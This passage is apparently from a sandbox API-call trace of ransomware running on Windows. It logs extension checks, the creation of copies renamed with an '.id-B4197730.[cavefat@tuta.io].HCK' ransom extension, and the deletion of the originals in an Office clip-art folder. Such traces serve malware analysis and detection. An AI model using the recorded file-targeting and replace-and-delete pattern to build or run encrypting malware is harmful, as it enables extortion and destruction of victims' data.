lpString2=".JPG") returned -1 [0164.831] lstrlenW (lpString=".7z") returned 3 [0164.831] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0164.831] lstrlenW (lpString=".dbf") returned 4 [0164.831] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0164.831] lstrlenW (lpString=".1cd") returned 4 [0164.831] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0164.831] lstrlenW (lpString=".jpg") returned 4 [0164.831] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.831] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0164.831] lstrlenW (lpString="J0099187.JPG") returned 12 [0164.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.832] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=24528) returned 1 [0164.832] CloseHandle (hObject=0x2f4) returned 1 [0164.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220 [0164.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.833] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.833] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.833] GetLastError () returned 0x0 [0164.833] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x5fd0, lpOverlapped=0x0) returned 1 [0164.834] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5fe0, lpOverlapped=0x0) returned 1 [0164.835] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.835] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.836] SetEndOfFile (hFile=0x380) returned 1 [0164.836] CloseHandle (hObject=0x380) returned 1 [0164.836] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.836] SetEndOfFile (hFile=0x2f4) returned 1 [0164.837] CloseHandle (hObject=0x2f4) returned 1 [0164.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0164.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0164.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0164.837] lstrlenW (lpString=".doc") returned 4 [0164.837] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.837] lstrlenW (lpString=".docx") returned 5 [0164.837] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0164.837] lstrlenW (lpString=".pdf") returned 4 [0164.837] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.837] lstrlenW (lpString=".xls") returned 4 [0164.837] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.837] lstrlenW (lpString=".xlsx") returned 5 [0164.837] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0164.837] lstrlenW (lpString=".ppt") returned 4 [0164.837] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0164.837] lstrlenW (lpString=".zip") returned 4 [0164.837] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.837] lstrlenW (lpString=".rar") returned 4 [0164.837] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.837] lstrlenW (lpString=".bz2") returned 4 [0164.837] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.837] lstrlenW (lpString=".7z") returned 3 [0164.837] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0164.838] lstrlenW (lpString=".dbf") returned 4 [0164.838] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0164.838] lstrlenW (lpString=".1cd") returned 4 [0164.838] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0164.838] lstrlenW (lpString=".jpg") returned 4 [0164.838] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0164.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0164.838] lstrlenW (lpString=".doc") returned 4 [0164.838] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.838] lstrlenW (lpString=".docx") returned 5 [0164.838] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0164.838] lstrlenW (lpString=".pdf") returned 4 [0164.838] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.838] lstrlenW (lpString=".xls") returned 4 [0164.838] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.838] lstrlenW (lpString=".xlsx") returned 5 [0164.838] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0164.838] lstrlenW (lpString=".ppt") returned 4 [0164.838] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0164.838] lstrlenW (lpString=".zip") returned 4 [0164.838] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.838] lstrlenW (lpString=".rar") returned 4 [0164.838] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.838] lstrlenW (lpString=".bz2") returned 4 [0164.838] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.838] lstrlenW (lpString=".7z") returned 3 [0164.838] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0164.838] lstrlenW (lpString=".dbf") returned 4 [0164.838] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0164.838] lstrlenW (lpString=".1cd") returned 4 [0164.838] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0164.838] lstrlenW (lpString=".jpg") returned 4 [0164.838] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.838] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0164.838] lstrlenW (lpString="J0099188.JPG") returned 12 [0164.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.839] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9080) returned 1 [0164.839] CloseHandle (hObject=0x2f4) returned 1 [0164.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220 [0164.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.839] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.839] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.839] GetLastError () returned 0x0 [0164.839] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2378, lpOverlapped=0x0) returned 1 [0164.840] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2380, lpOverlapped=0x0) returned 1 [0165.206] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.207] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.207] SetEndOfFile (hFile=0x380) returned 1 [0165.207] CloseHandle (hObject=0x380) returned 1 [0165.207] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.207] SetEndOfFile (hFile=0x2f4) returned 1 [0165.216] CloseHandle (hObject=0x2f4) returned 1 [0165.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0165.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0165.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0165.236] lstrlenW (lpString=".doc") returned 4 [0165.236] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.236] lstrlenW (lpString=".docx") returned 5 [0165.236] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0165.241] lstrlenW (lpString=".pdf") returned 4 [0165.241] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.242] lstrlenW (lpString=".xls") returned 4 [0165.242] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.242] lstrlenW (lpString=".xlsx") returned 5 [0165.242] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0165.242] lstrlenW (lpString=".ppt") returned 4 [0165.242] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0165.242] lstrlenW (lpString=".zip") returned 4 [0165.242] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.242] lstrlenW (lpString=".rar") returned 4 [0165.242] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.242] lstrlenW (lpString=".bz2") returned 4 [0165.242] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.242] lstrlenW (lpString=".7z") returned 3 [0165.242] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0165.242] lstrlenW (lpString=".dbf") returned 4 [0165.242] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0165.242] lstrlenW (lpString=".1cd") returned 4 [0165.242] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0165.242] lstrlenW (lpString=".jpg") returned 4 [0165.242] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0165.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0165.242] lstrlenW (lpString=".doc") returned 4 [0165.242] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.242] lstrlenW (lpString=".docx") returned 5 [0165.242] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0165.242] lstrlenW (lpString=".pdf") returned 4 [0165.242] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.242] lstrlenW (lpString=".xls") returned 4 [0165.242] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.242] lstrlenW (lpString=".xlsx") returned 5 [0165.242] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0165.242] lstrlenW (lpString=".ppt") returned 4 [0165.242] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0165.242] lstrlenW (lpString=".zip") returned 4 [0165.242] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.242] lstrlenW (lpString=".rar") returned 4 [0165.242] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.243] lstrlenW (lpString=".bz2") returned 4 [0165.243] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.243] lstrlenW (lpString=".7z") returned 3 [0165.243] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0165.243] lstrlenW (lpString=".dbf") returned 4 [0165.243] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0165.243] lstrlenW (lpString=".1cd") returned 4 [0165.243] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0165.243] lstrlenW (lpString=".jpg") returned 4 [0165.243] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.243] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0165.243] lstrlenW (lpString="J0101861.BMP") returned 12 [0165.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.389] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=32184) returned 1 [0165.389] CloseHandle (hObject=0x3ac) returned 1 [0165.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220 [0165.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.389] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.389] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0165.428] GetLastError () returned 0x0 [0165.428] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0165.432] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0165.433] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.433] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.433] SetEndOfFile (hFile=0x394) returned 1 [0165.441] CloseHandle (hObject=0x394) returned 1 [0165.444] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.444] SetEndOfFile (hFile=0x3ac) returned 1 [0165.452] CloseHandle (hObject=0x3ac) returned 1 [0165.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0165.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.467] lstrlenW (lpString=".doc") returned 4 [0165.467] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.467] lstrlenW (lpString=".docx") returned 5 [0165.467] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0165.467] lstrlenW (lpString=".pdf") returned 4 [0165.467] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.467] lstrlenW (lpString=".xls") returned 4 [0165.467] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.467] lstrlenW (lpString=".xlsx") returned 5 [0165.467] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0165.467] lstrlenW (lpString=".ppt") returned 4 [0165.467] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.467] lstrlenW (lpString=".zip") returned 4 [0165.467] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.467] lstrlenW (lpString=".rar") returned 4 [0165.467] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.467] lstrlenW (lpString=".bz2") returned 4 [0165.468] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.468] lstrlenW (lpString=".7z") returned 3 [0165.468] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.468] lstrlenW (lpString=".dbf") returned 4 [0165.468] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.468] lstrlenW (lpString=".1cd") returned 4 [0165.468] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.468] lstrlenW (lpString=".jpg") returned 4 [0165.468] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.468] lstrlenW (lpString=".doc") returned 4 [0165.468] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.468] lstrlenW (lpString=".docx") returned 5 [0165.468] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0165.468] lstrlenW (lpString=".pdf") returned 4 [0165.468] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.468] lstrlenW (lpString=".xls") returned 4 [0165.468] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.468] lstrlenW (lpString=".xlsx") returned 5 [0165.468] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0165.468] lstrlenW (lpString=".ppt") returned 4 [0165.468] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.468] lstrlenW (lpString=".zip") returned 4 [0165.468] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.468] lstrlenW (lpString=".rar") returned 4 [0165.468] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.468] lstrlenW (lpString=".bz2") returned 4 [0165.468] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.468] lstrlenW (lpString=".7z") returned 3 [0165.468] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.468] lstrlenW (lpString=".dbf") returned 4 [0165.468] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.468] lstrlenW (lpString=".1cd") returned 4 [0165.468] 